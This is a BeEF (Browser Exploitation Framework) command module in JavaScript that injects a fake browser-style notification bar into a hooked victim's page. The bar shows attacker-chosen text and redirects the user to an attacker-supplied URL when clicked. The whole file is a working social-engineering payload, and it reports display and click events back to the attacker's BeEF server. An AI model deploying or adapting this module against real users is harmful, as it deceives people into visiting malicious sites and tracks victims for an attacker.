//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

	var id = beef.dom.generateID();
	var pid = beef.dom.generateID();
	var zztop = beef.dom.getHighestZindex()+1;
	var el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:0px 20px 0px 20px; z-index:'+zztop+'; border-bottom:1px solid black; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACIAAAAbCAYAAAAZMl2nAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAHJSURBVEhLzVY7UgMxDF2ZUwEVVJTM0NBxGipOwjUYho6WBlJxAbqQSbLm6ef1GmegyWh35kX+SPKTLDum3ed9HviT3yRN+WhqNh1Vr+ZJPagPIIscpzHXJW2osEEWAK0/7ioiLYGKDGuZg8wrMxPIUQbzkKxPLIUJwnIC6GcyYoVzFTS73qxuxapEBde9ryQgJ3OqMks4WMgICZHJWXFFsOv6tWzSdnXjibVUojvblinlmtfKHQff6h4KwxQ7HNXt9v26IXJge+Zays5I1GR0q+ZfYtXWvlFDvqzCXLJFD+7N56o+ycYoTjogsfHi5K3TuirAfBpGDAgwDnCdccEzxgYyx4XHMJ1hD7v/YISSOIUU2Lq2EDKiDDIGGLx6actqdh5tfj7HxaqYIjGGzrQwnnTdRuwscpS+GhLCcgyZ2Tt2aDO8b/psU+HPFDX6blvW37xdyan3XYuSiXivQCVaYmtwAwqZWIlTUx0RPyoBUotVMhIrafN64X8ToRWr94j8ZcdKbI1fWLEylSvbr+4guZyM+N9ztJSMRN+qvD6tX85/PXm6j6wjD9L389kiiPRftEeOvud+MUTo6+lyEVc8PT6c6hsg+Gn0AyTR5t4bxkW5AAAAAElFTkSuQmCC); background-repeat: repeat-x; background-color: #f6d646; display:none;'});
	var ell = beef.dom.createElement('div',{'style':'width: 29px; height: 100%; padding: 0; margin: 0; position: absolute; left: 0px; top: 0px; background-image: url(data:image/png;base64,[encoded data, 27056 characters]);'});
	var elr = beef.dom.createElement('div',{'style':'width: 181px; height: 100%; padding: 0; margin: 0 40px 0 0; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,[encoded data, 12728 characters]);'});
	var elp = beef.dom.createElement('div',{'id':pid,'style':'margin: 0 50px 0 15px; height: 27px; line-height: 27px; font-weight: bold; font-family: sans-serif; font-size: 12px; padding: 0'});
	$j('body').append(el);
	var hid = '#'+id;
	var hpid = '#'+pid;
	$j(hid).append(elp);
	$j(hpid).html("<%= @notification_text %>");
	$j(hid).append(ell);
	$j(hid).append(elr);
	$j(hid).click(function() {
		$j(this).slideUp(300,function() {
			$j(this).remove();
		});
		window.location = '<%= @url %>';
		beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification');
	});
	$j(hid).css('cursor','pointer');
	$j(hid).slideDown(300,function() {
		beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed', beef.are.status_success());
	});
	return [beef.are.status_success(), 'Notification has been displayed'];

});
